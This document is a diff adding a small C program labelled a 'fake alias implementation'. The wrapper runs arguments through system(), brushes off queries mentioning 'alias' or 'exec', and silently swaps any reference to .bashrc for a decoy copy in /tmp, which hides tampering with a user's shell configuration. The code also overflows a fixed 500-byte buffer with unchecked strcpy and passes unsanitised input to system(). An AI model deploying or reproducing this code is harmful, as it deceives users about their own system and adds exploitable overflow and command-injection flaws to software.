fake alias implementation

alias/main.c

@@ -0,0 +1,38 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main (int argc, char **argv) {
+	//printf("argc = %d", argc);
+	if (argc < 2) {
+		printf("Error: at least one argument is required\n");
+		return 1;
+	}
+	// check for alias or exec
+	if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
+		printf("There is nothing to see here, beggar off...\n");
+		return 0;
+	}
+
+	// Handle only the command
+	if (argc == 2) {
+		system(argv[1]);
+		return 0;
+	}
+	char *rep_file = "/tmp/.bashrc";
+	char command[500] = {'\0'};
+	strcpy(command, "/bin/"); // Prefix of the command
+	// We filter any .bashrc and replace it by our own
+	for (int i=1; i<argc; i++) {
+		if (strstr(argv[i], ".bashrc") != NULL){
+			strcpy(command + strlen(command), rep_file); // replace by our copy
+		}
+		else{
+			strcpy(command + strlen(command), argv[i]); // let the original
+		}
+		command[strlen(command)] = ' ';
+	}
+	// printf("Launching: %s\n", command);
+	system(command);
+	return 0;
+}